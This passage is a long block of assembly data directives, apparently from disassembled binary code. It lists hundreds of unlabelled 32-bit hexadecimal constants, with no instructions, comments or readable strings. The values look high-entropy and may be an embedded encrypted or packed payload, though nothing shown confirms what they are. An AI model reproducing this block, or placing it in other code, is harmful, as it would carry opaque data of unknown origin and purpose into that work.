		dd 2A9E289Bh, 4E47081Dh, 0ADDA4907h, 0B7CFC031h, 44DD0C05h
		dd 696CA0C2h, 6ABE43B3h, 47453D56h, 6A70B2CFh, 5F4A669Ch
		dd 0AF0F1666h, 4C2CBB49h, 53F61DEEh, 0FE4A07C7h, 0F0523B67h
		dd 86D9331Fh, 4D670958h, 0BFF138B4h, 87DDEF01h,	0AF880B35h
		dd 8526867Eh, 6C4657C4h, 3FDD826Ah, 0A303CDE3h,	0F1B36562h
		dd 9BA581F5h, 4817628Ch, 0F0592232h, 6C1E81C8h,	0BB9614E9h
		dd 9FAFD01Eh, 8AFC985Ch, 5B17C788h, 1349974Bh, 0D921A8CCh
		dd 2B7CECDCh, 49A8BE6h,	2F65AA40h, 0EFBD326Fh, 4946A134h
		dd 0C8F9C299h, 0EC96A2C5h, 38D5F375h, 39EA1C9Bh, 0D0591629h
		dd 9D68105Bh, 0E6EB4A9Ah, 9DBC99ECh, 81529065h,	0B227E559h
		dd 0F451CB81h, 85DBDCFFh, 68907A6Bh, 11DEAC4Ah,	8ECEF96Dh
		dd 38440A9Bh, 0C685865Ah, 668A5A91h, 77E7FC6Fh,	0F44ED972h
		dd 7CA11F09h, 0FDF14CFFh, 47E1358Bh, 933F4DCDh,	0DD79D007h
		dd 0A23C9160h, 0B54F4F31h, 7F0ED37Fh, 86C8BB40h, 510DF92Eh
		dd 0F1EEED1Eh, 15A62198h, 5668BA20h, 24226422h,	2C303FFDh
		dd 0E90F1819h, 700CE779h, 0DB026897h, 53022CAAh, 4C646524h
		dd 0E1C63458h, 837E3C7Ch, 7B3479C7h, 0B8309FF2h, 83EEDF49h
		dd 2B2CC1BDh, 851FFB5Bh, 84B6AEA2h, 8C4D27BAh, 0B0C8690Eh
		dd 0EBF1DAF2h, 0E3DF527Ah, 0F5C5FF20h, 7455A222h, 0BF8982B9h
		dd 0BE9A385h, 828D56E7h, 4F0CDEBCh, 0A75C7D5Bh,	0A7A64DE6h
		dd 5F02E439h, 0BD219229h, 0A69B2B9Bh, 72D7AA12h, 0A93036E4h
		dd 0CD001CBh, 0B30F2832h, 0D3A8EEBBh, 0FF20D739h, 7226BB49h
		dd 0BD9B2061h, 27C9582Bh, 0DB0AC30Bh, 57998B64h, 4BEA8923h
		dd 0A66FBE01h, 0B13176F2h, 784B2F75h, 84D9F534h, 0B85EE89Ch
		dd 8D69385Dh, 0FC09AE0Dh, 0AD9EDF33h, 6A2E84ECh, 0E82DE771h
		dd 0CFEA5E08h, 6F9C102Fh, 0ACF0E60h, 28096439h,	601071C3h
		dd 2E278D5Fh, 0EB927FC2h, 9FB38D71h, 73A7CADFh,	0A7920695h
		dd 7942DE48h, 0A0C0BC21h, 689527ECh, 6A7E8D2Ah,	363513F3h
		dd 0AC51A228h, 0DAB720EEh, 0B72BB31Ah, 8BB4EB2Bh, 68D292DDh
		dd 0D6600939h, 8CFD7CC2h, 545BA695h, 430D3968h,	0B41856A8h
		dd 277BE1F4h, 0BC23DF97h, 1BD4D7D4h, 5C7090C5h,	30C36FBCh
		dd 11948272h, 165CB4C2h, 5EA4F17Ah, 4C56661Bh, 285B2DECh
		dd 6A778D6h, 0F1C98144h, 9E2A5521h, 0DE89BE42h,	4336B3D0h
		dd 0CF3DD74Bh, 6F2E330Eh, 8DBFFE27h, 25AB6E80h,	0F7494D0Ah
		dd 386102F8h, 87065993h, 823BC4D7h, 0D4E5725Dh,	536F765Fh
		dd 0FD7D94D0h, 0D544AF6Ch, 94D8F848h, 5DEBEEDh,	0DF3D307Ch
		dd 612A9967h, 9BB5EBBAh, 6ABE6312h, 0DBFB293Ah,	941E5C99h
		dd 66E6A44Eh, 0B61398B9h, 2F45C608h, 137440C9h,	99B5555Dh
		dd 42A1906Ch, 171C55E8h, 0FF8C71B0h, 38078BF7h,	475DD878h
		dd 0F494790Eh, 0C1B05061h, 9AF3F90Dh, 3551E31Dh, 7DA6B0CDh
		dd 20520041h, 341D8875h, 0D970A7DCh, 0FF14552Bh, 9AE4DAB6h
		dd 0DE0E7A5h, 0CBF1F35Eh, 41AFAECAh, 4DD424F1h,	11B505ADh
		dd 73F6624Bh, 0D8A6A7EBh, 4716A4E1h, 0FBBCF3AFh, 0DAFC7EBDh
		dd 49C80D25h, 54010AF5h, 2D0D714Bh, 0F33163ECh,	7EBDB0D2h
		dd 0B08D9737h, 858535B0h, 3CCE7768h, 0A93F92DDh, 0C0C0083Eh
		dd 2A92073Fh, 0D00D83E2h, 7C2DD76Ch, 0E83526FBh, 3B53E1CFh
		dd 36DB052Bh, 0D3D315FDh, 320023DBh, 0FBAFD004h, 81BC99E2h
		dd 0D46BFE60h, 0EB4D109Ch, 0C64CA5F1h, 0FA0DB4BAh, 5570AB0Ch
		dd 7D00073Eh, 6D93E71h,	16BB96B0h, 0D066E73h, 5CBB36C2h
		dd 0ED2BA094h, 36F1D650h, 0D76B1AB6h, 75EE0D1Eh, 74EEC255h
		dd 7A717291h, 17A2D5C2h, 0F4308859h, 0B903C76h,	3F6E1993h
		dd 1F1634C6h, 3232964Ah, 0A8D5D81Bh, 396D68C8h,	72390518h
		dd 37077144h, 0FD269F66h, 60AA66B5h, 202B60Dh, 0C8B90172h
		dd 0D6E9E49Fh, 9994B421h, 5039F502h, 2ECD4BACh,	42C1ABE0h
		dd 0A10052E5h, 0D13955A2h, 996939DDh, 0B7249A02h, 17E81B6Dh
		dd 8EF5509Fh, 0ED9EE6DCh, 0B0A67BDEh, 6C6BE1ABh, 61DEA3EDh
		dd 0E5AFF1B3h, 0F6737DACh, 31B54944h, 341B1B92h, 0D623BBACh
		dd 5744877Ah, 1C887914h, 0FB4747E5h, 0A9E560EEh, 1FAC400Ah
		dd 4433B8E4h, 2D894F0Eh, 0A95F29A9h, 4D2E5011h,	0F9B2972Dh
		dd 32D8C2Ch, 462B6121h
		dd 0A664C12Dh, 58925E75h, 45DD1B90h, 0AB9FF502h, 0C9637389h
		dd 4AB07649h, 0F85C14A7h, 8CD4EF6Bh, 5AF68BDEh,	3BE1A1D8h
		dd 0C9606DBEh, 0C79809E8h, 0E229F01Ah, 6525CBCDh, 70010C49h
		dd 97C21EF7h, 4AE1454h,	8EBA475Fh, 0AABAE976h, 969A2B0Dh
		dd 0A991319Ah, 0BF441864h, 0EBE1A528h, 2054700Ch, 0CCB4EBBh
		dd 0D54D0D52h, 3C9F2920h, 0A68DAFC5h, 278257Ch,	0F49D59DAh
		dd 9C91E213h, 0A12E3E5Dh, 5AC530F9h, 0C0B04A3Bh, 89F4D11Ch
		dd 6F80C29Fh, 90A4EFE4h, 0D814948Dh, 0E6A48476h, 0B32C4A43h
		dd 0A8022D71h, 9079CF84h, 0CC0D3B43h, 0CF3AD5E6h, 0A1CC6D2Bh
		dd 0F592F565h, 0A5EA284Eh, 47803782h, 0A56E1F44h, 182EFAF0h
		dd 0D793685Fh, 0E9FA6543h, 0DA5CD7CFh, 0E08535Ah, 32141583h
		dd 7887998Dh, 0C58EA44Ah, 757698D9h, 0E575F538h, 5F2B03E6h
		dd 0B0BEC78Eh, 7BB7542Dh, 808C6FEDh, 47B031Bh, 87BCF218h
		dd 0C90646FBh, 7DEB0F53h, 0FBAFF23h, 9D7EF4B9h,	6771861Eh
		dd 0BD62C18h, 0C5055DE1h, 0B2100020h, 50611A42h, 4BD3BE39h
		dd 8FC4766Dh, 230D8895h, 0DC166514h, 0E8EE0116h, 0B604025Ah
		dd 0A8FB468Dh, 1C6F2AC1h, 516BB4A0h, 0E024C06Eh, 0C7ED485Ah
		dd 3EC32CEFh, 0CA2F51ADh, 6033A1CAh, 57028961h,	92AA8991h
		dd 528E02BBh, 28F40C0Ah, 0EAF969CDh, 0D5313AC2h, 91430EB9h
		dd 0D981A869h, 0EEBDCEE1h, 0BE152BBh, 0E62C5058h, 3F69C04Ch
		dd 3CC33731h, 0C192F685h, 0E1B98DDAh, 2E437307h, 0ABB61E91h
		dd 77DD40E3h, 0A87FEE89h, 9019C967h, 0ABA266A4h, 0AB8F79B0h
		dd 69ABA4CEh, 0E4CE525Ch, 5A7D196h, 33ECFC9Ch, 0AC43533Fh
		dd 0DDD748CBh, 334A8A37h, 0C7A81F59h, 39AD0D2Bh, 0D8EA72D8h
		dd 0E3DBF911h, 0A36381F7h, 759A4A0Ah, 8B0A1F48h, 0AA397DB6h
		dd 0D61DCB47h, 0F917ECD0h, 90AEFA52h, 622D647Dh, 0C522404Eh
		dd 0B4F337Fh, 2EA4400Eh, 8CD99B4Ah, 57ADC6F6h, 7BA7608h
		dd 0C712CB3Bh, 298D0615h, 0D1A43DBBh, 981663C5h, 80F30B8Ch
		dd 6F6B4A16h, 84BE8F7h,	7FE8CEC9h, 656C1369h, 0D9424553h
		dd 46EFB577h, 0C0AE78C8h, 9511FEFBh, 4A650B20h,	0AEE4A0D0h
		dd 37CE9A6Ch, 0F017773Dh, 3A84891Bh, 7E3A6B9h, 0BFDC5EF8h
		dd 9BA9B799h, 0EB3DEF7Eh, 0FE9E75C2h, 8FE7603Dh, 66776468h
		dd 1639771Bh, 82288A15h, 75721E1Fh, 7E450190h, 0E2DB6F6h
		dd 96DDB066h, 6429A4EEh, 0BD1700F8h, 853BDFA4h,	0B8E01448h
		dd 1936613Ah, 5EC883A3h, 187E88F6h, 4037A037h, 733C2226h
		dd 611FA9ECh, 177FC03Dh, 0E74BA6Bh, 2C9A0F4Fh, 9231A4CCh
		dd 819E54B7h, 4CB0F76Dh, 0AFEEC029h, 0CE9DA09h,	2E468592h
		dd 81EB0C61h, 0BD9B1600h, 3D2D43E5h, 0F7691BBCh, 873A1BAEh
		dd 0F0536144h, 0EBD12D65h, 0CC517600h, 607ACBC6h, 0CB1CDCEEh
		dd 72EC924h, 0D57DB014h, 0D2275BEDh, 0A67638FBh, 32DE838Fh
		dd 0DB5DEA11h, 0FE010537h, 577AC0C2h, 446E0EAh,	8F88712Ch
		dd 0A51561A1h, 0C5549DD3h, 0FBAD15DEh, 37FEB767h, 0F758F530h
		dd 9F7C3381h, 0C8937CECh, 0EBA4CB4Bh, 0C4A16FA4h, 0C5103743h
		dd 0B6FB74DFh, 9F1AB31Dh, 0D90F4FB2h, 6E513432h, 0ED719E66h
		dd 0F086FA71h, 65FAF925h, 53057248h, 4F6BD171h,	41A5367Dh
		dd 0F0FB3351h, 6AADFD9Ah, 5520353Fh, 11EF5E5Dh,	110585DFh
		dd 0DF423B32h, 73F0F3D8h, 0C01B046Ah, 7C5AE11Eh, 7FF7E867h
		dd 67F27C8Ah, 5DF6BACAh, 0BEF95CFEh, 8A0BE4CCh,	0CD9C2C24h
		dd 0BFF68733h, 0C35D9CAEh, 6774692Dh, 0AC4558D3h, 0A9A5BC4Fh
		dd 3A2AF40h, 4C5AFC9Eh,	0E389826Ah, 2EC047E7h, 0DC52D506h
		dd 5DACF256h, 0DFDA3157h, 0B10732B3h, 71290D21h, 749FAABBh
		dd 9A5F856h, 697EE463h,	0E2A20462h, 3B69549Eh, 16B57037h
		dd 44CDCECEh, 6CED3DE1h, 0E87F0500h, 9FEFCFA8h,	0FF905AB1h
		dd 0AF8B7ACFh, 60B89CE3h, 0E138C9A7h, 4553A5B8h, 0F85DA5E7h
		dd 91C46017h, 66B67092h, 47D7F5B7h, 0D8F0BBB0h,	9A791921h
		dd 6110F47Ch, 0C72E1D85h, 494756D8h, 0E40D7311h, 0F7DC2E13h
		dd 0B8FE2742h, 82268D91h, 1173DEAAh, 660BE7E3h,	4E32CB2Ch
		dd 0AEF07342h, 300D369Dh, 8526924Dh, 9E91858Ch,	18692D4Eh
		dd 1E99B031h, 4973BB38h, 4EED8E9Fh, 0FDCE6F3h, 7827E9DEh
		dd 6570683Ch, 0C2C2B482h, 0E8BF801Fh, 421F8C27h, 0B1A201F3h
		dd 698D324Ah, 9BD4FF0Bh, 0D9879E22h, 4C949FCh, 919058CAh
		dd 89932D5Ah, 0DC1B27Dh, 0B733C75Fh, 6FB4DAE1h,	37F0FE9Eh
		dd 0D8E57FAEh, 38A1A08Ch, 0AFE1522Bh, 0ECD6220h, 0CF20AB1Eh
		dd 0D9CDEDEh, 177F33F7h, 0E37FB850h, 0DEDF7004h, 8718094Eh
		dd 0B5D07FF9h, 339333E6h, 23849A29h, 0A7F90F95h, 0A7E8F284h
		dd 72B1DA77h, 0EA63DFB1h, 57770880h, 5E31421Bh,	5027DE53h
		dd 324F086Dh, 0C0279B1Ah, 7831E89Bh, 1B341FCFh,	750A19FAh
		dd 0B015A253h, 6FF229EFh, 7CCE48F3h, 0E39DEFA1h, 0AAC7ED9Ah
		dd 0E8ED29BCh, 8796BB9Eh, 0CF1D839h, 8FEF86DDh,	0D3234187h
		dd 0FC38ED16h, 8F845301h, 15AB0080h, 790CD920h,	6FB53F01h
		dd 8DCA7877h, 0A0154EA5h, 0BA3F6AB2h, 0A6D13315h, 0EE83C10Eh
		dd 0FFD7684Dh, 413C82Ch, 2B8D4AD2h, 16093224h, 4CED1029h
		dd 4E74F876h, 6821C787h, 0D2711957h, 7FA984CFh,	2FDD5278h
		dd 0DEBBCDA8h, 8C0BE50Bh, 25085BA1h, 0D4EFA2A9h, 0DE07A310h
		dd 235BD11Dh, 6C469D78h, 52E1E1C6h, 9B63382Ch, 71018F8Ch
		dd 2458223h, 0C15B3FA7h, 0B1EF679Ch, 0EFA351B6h, 0D58C570Dh
		dd 0FF033F4Dh, 0E77F942Eh, 607AB3B1h, 0DC2FBFC8h, 71518347h
		dd 4A5BD1A2h, 0C0C40548h, 0BBE6E7EAh, 886532A9h, 0AAE9CE0Eh
		dd 29C24D97h, 50A6664Ch, 0F7A93A4Dh, 38AC8BB4h,	0C06AC3D2h
		dd 0A1C60848h, 0EE583E59h, 3CFBF093h, 1697265Ah, 0F4E5AAF3h
		dd 5B284D65h, 133CC47Ch, 155BCCE5h, 7B63C31Dh, 0A396F601h
		dd 0DA17102Dh, 0BE15AED7h, 16DD3B60h, 3D8D8E20h, 0BA9E3929h
		dd 481BAC62h, 5469C0ACh, 7B4A14E8h, 0CFBBE7B6h,	1A820BECh
		dd 0A8CC613Ch, 0B086C0FEh, 0C02A65A6h, 0FF78E913h, 0CAFEAA78h
		dd 298146EAh, 0B32E939h, 4C3C4663h, 9617C16Dh, 72ED45D6h
		dd 12AF7020h, 66CEFB0Bh, 2690615h, 0E11CFAE1h, 8ED36424h
		dd 9643A26Dh, 0BE4528ECh, 0EA118C63h, 0DA472252h, 0D931783Bh
		dd 0A83208F6h, 1841B51h, 0B0016766h, 114BF37Ah,	0F73AC038h
		dd 73C87C01h, 8DFA570Ah, 8388CCDEh, 1D62CFA6h, 77953C3Ch
		dd 8A86B293h, 346A3802h, 175C048h, 16E8C853h, 1B90D29h
		dd 0D8177266h, 835B768Ah, 1096F9Fh, 126C4E41h, 699F9D24h
		dd 0EAE51280h, 365006C7h, 20F5EA2Dh, 2B3C3FA5h,	0F5F9039h
		dd 94CB5903h, 73204146h, 1708B28h, 0C9630290h, 0BFDCCAB6h
		dd 0BD8E64FDh, 6458155h, 1A86E52Fh, 59AB23F8h, 2BA65FF0h
		dd 755B8DA0h, 376733E5h, 2A0198h, 213D646Bh, 62A06AD1h
		dd 33E1EF04h, 2E77DB9Ah, 0BC811A77h, 15587867h,	950FD385h
		dd 96899F44h, 9EC5357h,	44A07ED7h, 0A9B015FBh, 4351C624h
		dd 0CC90B5D6h, 3A8B410Ch, 0DA69342Fh, 5BE5B1Eh,	0BA2896B1h
		dd 0BBAF675Eh, 530EE892h, 0B7756560h, 0BEF16EF6h, 1570BCC5h
		dd 0C647960Fh, 7603BAAFh, 0FA141944h, 8F6C7288h, 20BE575h
		dd 0A9AE10Bh, 8F3EFFC9h, 0ACA23905h, 0DC233810h, 5D0CE243h
		dd 38D81A56h, 3E5F8D2h,	0CCAE578Eh, 0F72220A5h,	12707854h
		dd 0C4631139h, 0D80F3B0Dh
		dd 9FD80D1Bh, 363ABC42h, 1972F95Dh, 9263515Dh, 260A99A1h
		dd 6D6A1F1Ch, 9CC20796h, 0A666FC97h, 0D7A0D6C2h, 94C95596h
		dd 5AF4926Bh, 0FFCDA92h, 8FEE7CE6h, 0EAC5DC95h,	24D4E7E2h
		dd 0F043B9D9h, 8341610Ch, 0E2B24605h, 4DED9596h, 94AB1C1Bh
		dd 0CFC62D0Fh, 0CC830F5Dh, 0B3047F0Ch, 71D16668h, 0C4038AA7h
		dd 65664C41h, 0B5628A57h, 4936490Ch, 63244C1Eh,	2B369FC6h
		dd 20AC7741h, 6A7247Fh,	2F89A587h, 0EDA3AF36h, 6F10AE48h
		dd 0F97ACA63h, 0CE4547D9h, 0AD930F19h, 0D8F9ADA8h, 521B3E5Fh
		dd 0D3091D22h, 0A6891EC2h, 4960F1DBh, 3CECD7Ah,	0B0DD468h
		dd 6CC47934h, 0CF0168E1h, 7C4348C2h, 7EADFCCCh,	0FE78AD3Fh
		dd 992A7147h, 0CA22668Eh, 38C1E221h, 6828E247h,	0D1FAA9D5h
		dd 4BC1E710h, 7E337FCCh, 0E40BF71Dh, 9A669BEh, 62293389h
		dd 9302B6DEh, 56FD5A9Fh, 0CD00E0Bh, 9F3697Ch, 0DB2CB2E0h
		dd 73AB8F8Ch, 42A18C0Eh, 0A0CAE66Eh, 9F979CE8h,	0DB2F85CCh
		dd 0F81F142Bh, 3DE0DC8Ah, 9E05001Ch, 9DFE414Ch,	0E7D1D3FAh
		dd 5FEA9A98h, 2941A949h, 0DC542E9Eh, 468E9B0Ch,	0B12E6BD1h
		dd 121E3E4Bh, 457D9800h, 800B2FB7h, 0DC5F473Ah,	82C8D9D3h
		dd 0EA60B98Bh, 0FD7FE8FDh, 0D08DE01Ah, 0AA9F70CCh, 0D5F2F782h
		dd 608E7FB2h, 802FC360h, 0BE9B8DF0h, 0A1B3E24h,	816C29BBh
		dd 93744EDEh, 0B073BBF0h, 0A3BA6120h, 7CC33308h, 4BBA7755h
		dd 20B1BCE6h, 0A61BFDC3h, 0B2FD1A2Ch, 0DFDC014Ch, 1074624Eh
		dd 2B02A657h, 364ED9BDh, 0B4138BF0h, 8871DD29h,	424B0C2Ch
		dd 3CB445BBh, 8C64D22Ah, 4812B347h, 181A9F12h, 0FE5D919Ch
		dd 6F0427A0h, 0B316C8ADh, 8EB572FEh, 2C907255h,	80A050C6h
		dd 0A460D8ABh, 75C3785Fh, 0B0B58FCh, 769D3979h,	62B13A84h
		dd 0E8538953h, 15959B48h, 242F19EFh, 7A9816FDh,	0DDCE0251h
		dd 3A8FF725h, 5C4A530Fh, 114800FBh, 0A153DC72h,	0D1390E58h
		dd 0E7CE2970h, 0F92D98C3h, 335E5179h, 0CBF33BDFh, 200AA454h
		dd 17A8CEE5h, 996C79D4h, 0E4CD24A8h, 0E33FDFC8h, 0C7FB5924h
		dd 55154472h, 39D9839Fh, 1F00C968h, 4AA5D58Ah, 2BD4DC13h
		dd 44392F1Dh, 2D3DE3B3h, 0C141C87Dh, 4BB08CECh,	1FA220CDh
		dd 53DDE840h, 0A1EA04A7h, 4E7861C1h, 72D193D6h,	0AA8A1BFAh
		dd 0E5B1F289h, 380566DCh, 803FE7E8h, 0EF76EBF6h, 9E4E4C2Dh
		dd 9E302553h, 0EAA30A9h, 0E1D23870h, 11ED88CAh,	68D66CBh
		dd 0A96604B2h, 43B23403h, 372C17E5h, 7A868CA0h,	41EA5DE0h
		dd 0BC8827D0h, 4CEF8171h, 4C6257FEh, 85EA6318h,	0C1841D1Dh
		dd 5B8EE9D6h, 9826FCF6h, 8BD14670h, 7D43837Dh, 86A07807h
		dd 0F559709Ah, 82CAF984h, 0EE3B9246h, 9302A9E8h, 63E3AFEBh
		dd 2CFDDE07h, 1BB33DEh,	0C23FE4BEh, 28F9755h, 4C36F6AFh
		dd 0EC0E9900h, 4FA99A4Eh, 974EB1E7h, 0DC8F7611h, 47D993Dh
		dd 17A0AB6Dh, 0C4255B6Bh, 7C32E605h, 0B66C1D60h, 4D0FF9C8h
		dd 0A7AB06Bh, 0B3651BDCh, 4074C271h, 0CB1B4EE2h, 224E7213h
		dd 47EE926Ch, 0A7FE2834h, 90E6EFA5h, 1A85A322h,	0F7D54EC0h
		dd 51D9859Ch, 6175BDA9h, 0E15B1FA3h, 79431AB4h,	97CB4997h
		dd 4D6E65F9h, 96B599Fh,	0D74B5E30h, 9C5CFC0h, 0DD9EE6BCh
		dd 0C24B0AAFh, 0FDB1C7AFh, 622CBCDh, 0CEEF5266h, 77F0BECCh
		dd 0CA77031Dh, 0A94C068Ch, 1BD09249h, 3023937Eh, 48C46DA9h
		dd 0B21502B3h, 0C7C41ABAh, 5A1EA56Ch, 5F027EA2h, 2491BBC0h
		dd 0D4D25654h, 0B5183CF8h, 9B1AD0D1h, 0A129A77Dh, 1D3D9316h
		dd 0A5036128h, 0FD218055h, 3A937929h, 0D895C316h, 34F427E5h
		dd 650BFBDFh, 0BE3B3BF5h, 56324E62h, 354C7C62h,	0E8188E83h
		dd 3BEA54h, 190823BCh, 0EE866FD2h, 3E0EC15Bh, 7A6D4A86h
		dd 74A77E9h, 0BD297781h, 0A4371FD1h, 0A2545234h, 9FA003B9h
		dd 74DD0914h, 0D8FBCA7Bh, 0BC1D995Eh, 4363D75Fh, 0BA5F4CFDh
		dd 0E5631F40h, 8D02D59Ch, 0E7EA32D9h, 0F48F7526h, 0E06F56E0h
		dd 0E972E0B1h, 0E3627665h, 0F053A3DFh, 4469119Ah, 28548B41h
		dd 0BDB7751Bh, 0CC91625Ch, 6564DF7Fh, 9CC197C2h, 0C175D287h
		dd 4FA9F947h, 0B3FB8FEDh, 14A77F22h, 1A499736h,	89FB471Eh
		dd 0DBEA3337h, 4E552AFDh, 0AA8F4AD5h, 0C60C051Fh, 6672C812h
		dd 0B7799E80h, 5047B11Eh, 0B4A2862Ah, 0A81DCE3Ah, 0F2D120F3h
		dd 0AFC79C32h, 378F764Bh, 0D0AF536Ch, 2C81F6AFh, 5EFA3E6Ah
		dd 42B65F72h, 911B02D3h, 89C9B34Eh, 0CABD58DBh,	528DB0FEh
		dd 0EA3D56F6h, 380182A6h, 0A251C2FFh, 0F7CA2162h, 9EB78678h
		dd 22AE202Ah, 0E8FC2328h, 1CEB4C8Ch, 0ACA85047h, 51E2704Ch
		dd 0AD76DB8h, 9682818Dh, 3C9EF0C1h, 136C1201h, 46C0B087h
		dd 9D467E4h, 3FCA3FF7h,	0FF77591Ah, 0FA7616h, 6ECAD78Fh
		dd 9B65CBD9h, 0B8FD3AA1h, 5080BB07h, 71AB3DDFh,	35038F3Ch
		dd 8A81B4A1h, 253F1DCBh, 50DBAEF2h, 787E5B64h, 70DCE79Ch
		dd 0A7085EF9h, 0AA19762Fh, 95645437h, 0BA375506h, 2F9EF8CDh
		dd 0E5DF8C5Bh, 19BDED85h, 7ABA0D78h, 0CEFE2CCDh, 0ABE84232h
		dd 632FD5A4h, 0EC9735E3h, 468F825Ch, 54A668F1h,	630B8E39h
		dd 9921EE79h, 0D9B3E7Dh, 0D2990D38h, 0D6A35754h, 2F0A4793h
		dd 41E32150h, 0A4B19626h, 0CA4C46Bh, 9237D92h, 2B356176h
		dd 0FE07E9ABh, 6D81437Fh, 9345ADFEh, 0C148D298h, 191FDF1Eh
		dd 5048A57Bh, 0A364AD48h, 0D174D8E7h, 517C3795h, 476F438Eh
		dd 0FC0EE12Fh, 6CD96AA0h, 381E534Fh, 302B280Ch,	5AE37076h
		dd 0A7E20E6Eh, 0F5206332h, 1382EE19h, 1AA75393h, 0AD08FEC9h
		dd 0C8E3A849h, 2922A89Ch, 0AD85126Fh, 9654570Eh, 9FF29B69h
		dd 1D22EAD6h, 2467DFDDh, 0B1C52933h, 1FA97B6Fh,	0DA9F4584h
		dd 0E2FB3959h, 32A93E46h, 0C86505CDh, 2C13A539h, 11F17B86h
		dd 0EA2D4CBCh, 0BDAD8ADBh, 0F604ED63h, 22522117h, 2D97E520h
		dd 8030CD3Ah, 3730EE8Fh, 2BB902EBh, 7AD0B658h, 4E6C207Dh
		dd 525AB0AEh, 9D5B2253h, 7CD3D20h, 0B75A44D6h, 0C932F4FFh
		dd 96E243A6h, 7E471499h, 10ECE29Dh, 0CA9E8582h,	6770530Ah
		dd 0D988FC72h, 70C1CF43h, 3A7EB852h, 0E6007798h, 0CB8C53FFh
		dd 0C46A5484h, 337A802Fh, 86377B0Ch, 6DBE5961h,	75DB0F89h
		dd 15776B8Fh, 0F450AFA3h, 89371407h, 0B8EE0ADh,	94B2A5A7h
		dd 13BB77D6h, 4CF8C5Bh,	3885139Fh, 2AD0EF4Ah, 0D620AEA6h
		dd 32391BBh, 4ABA6E52h,	0C65520C1h, 0D892EF99h,	613AA704h
		dd 0F800E9F8h, 34C6AF7h, 0D28CF24Bh, 5FF0BCD4h,	5A40F647h
		dd 0E8A7E655h, 0A729995h, 4D4C3B6Ah, 0FBF80FC5h, 849DA1FEh
		dd 0F5DF05E1h, 7CE13CE0h, 8CA1605Dh, 0EF628319h, 0CC2ABA17h
		dd 707C386Bh, 51D657CEh, 2EC94CECh, 57B12051h, 0ADEB2E64h
		dd 33339A9h, 41F131A0h,	459BAE91h, 0E9C7896Ch, 0B3489751h
		dd 0C41F7789h, 8B97ABC8h, 9A11D520h, 0F8B1CE18h, 6B2AE4A8h
		dd 8EDD06F6h, 7D502E05h, 22E2BE69h, 1E99CC5Ah, 0F069B393h
		dd 0ED510845h, 1118A34h, 0CCC43076h, 1A4C72ADh,	5653C2D0h
		dd 63E49A08h, 2A9DFA1Ch, 0D6234F4Ah, 0CC97FEF1h, 55E020D1h
		dd 1E902448h, 191CEC36h, 0FB6B8790h, 10017347h,	43C80917h
		dd 46298EBAh, 30B2CB20h, 586B7DA9h, 0C4A5D18Eh,	0CCCEF26h
		dd 0C5083EEh, 0B32C2E5Fh, 0DD26010Fh, 0ED050E47h, 1F4FD29Bh
		dd 2CBEFAF4h, 0F2F86304h, 43B8B033h, 0D4E0D536h, 8796F375h
		dd 5995EB13h, 0BE527537h
		dd 7B67720Dh, 4BC0753Ch, 0D3CE7AE6h, 0A29EA740h, 22F54ABDh
		dd 87F631C3h, 82D1987Fh, 63F9212Eh, 83883149h, 58AD1EFDh
		dd 3E2BEDACh, 8877BFE9h, 4A1F9672h, 0C55A7Fh, 47E1B240h
		dd 0B01F5466h, 40A24965h, 0D66EBAB8h, 4D689BE8h, 87012C26h
		dd 0CAE27A92h, 0AABBE4B9h, 0F5FF04h, 6C380244h,	0B7127C1Dh
		dd 51278A65h, 0D8FC0C8Ah, 0C1B752D5h, 0F81A896Bh, 0CBC8EDE0h
		dd 0E2A18259h, 0BFC55BD6h, 1CBDFF5Ah, 0D8D7D820h, 0D3843C81h
		dd 9FC13E9Bh, 52CE8F1Eh, 4E36A1FCh, 14320B5Ch, 0ED841353h
		dd 37A1DCDBh, 56487F8h,	96E2F3EBh, 842D87F0h, 44BA01CDh
		dd 0B0A99B3Eh, 66367837h, 93001074h, 3807C599h,	0A42CFDCCh
		dd 0D87450F7h, 0C6EBAED2h, 0F0E58E6Dh, 8DED109Bh, 0F03DA128h
		dd 0A413A1F0h, 0EE032698h, 0A6A5F23h, 496F0CC2h, 377F4D75h
		dd 0FAC140C5h, 0DFFBCE5h, 0F97D95E4h, 0E05C2B35h, 0CE6AF528h
		dd 19E5453h, 848EE710h,	0F759F82Dh, 70B70FDBh, 1A2BA5ACh
		dd 5634E2E4h, 1D129576h, 10ECA344h, 292C74F1h, 9FDD219Eh
		dd 0A98399EBh, 0A1163175h, 750AE527h, 0FCCD2507h, 0EAD137E0h
		dd 0B64C4E9Fh, 0A41931E6h, 45435B60h, 0EAACC0A8h, 3E9343DCh
		dd 8D8F78DCh, 97243438h, 0FE2D543Dh, 0BB076E1Bh, 0C0A034EEh
		dd 0A5B9CAB4h, 0AB3AF3F8h, 0FDD18B4Eh, 3CC0B322h, 0FDF9670Ah
		dd 0E5BD158Ah, 6B5809E9h, 9F40AF9h, 0F60A648Dh,	0BBF1783Bh
		dd 17E56E2Fh, 61B15EBBh, 91A01AF5h, 0E336BF3h, 6B4FC6CBh
		dd 5F5D07ADh, 759575A9h, 0AB269860h, 1FBA03E6h,	0E8EB6B55h
		dd 0C15BAB03h, 62C27EE2h, 7EC20263h, 1B8DE676h,	6FD0835Bh
		dd 683640D4h, 5A2B53CDh, 542FD4E5h, 0E7F76160h,	0C2625603h
		dd 0FE18459Ah, 96AEDA8h, 0ED509CCAh, 65C92EC6h,	700EB47Bh
		dd 207F720Eh, 0E07BC878h, 22F4C4E7h, 9F2BFD9Ch,	0C5B2D7FDh
		dd 0D0865E00h, 0AEA79B68h, 14E74554h, 0C239AE1Eh, 9F01902Fh
		dd 0EF041D83h, 1CEE3598h, 3666DE06h, 751E5EBBh,	98325889h
		dd 32201FBh, 872D87A3h,	913172BEh, 0B215452Fh, 0A39BE0BBh
		dd 78FEE6E7h, 0FE560EE7h, 7EB0E31Dh, 0B7FE1C27h, 9CAE4AEh
		dd 0C62CC309h, 2EE293F8h, 3D7A8E5h, 0B1DB08EDh,	0E5D36595h
		dd 0B27FB855h, 880B087Eh, 1F389E3Ch, 0FE8557C2h, 0E521FC0Ch
		dd 0A71C1BEh, 9403C8EEh, 706A2F82h, 6B63E09Fh, 2C076816h
		dd 2FE4017Fh, 66FE4FA2h, 0E432E0BCh, 0CC4E8020h, 58613A6Dh
		dd 8D1FB67Dh, 7D2D2085h, 0FECAE200h, 191F892Ch,	61FCB432h
		dd 0A4631604h, 413BE787h, 0DCB6068Fh, 299AACABh, 8A8C7090h
		dd 3928E39Dh, 27C42BBFh, 4CA85599h, 0AC75292Ah,	0EB37E5CDh
		dd 0CA94AD6h, 0BC633E19h, 9A8C1EB2h, 0AE075E75h, 0F2FAAED5h
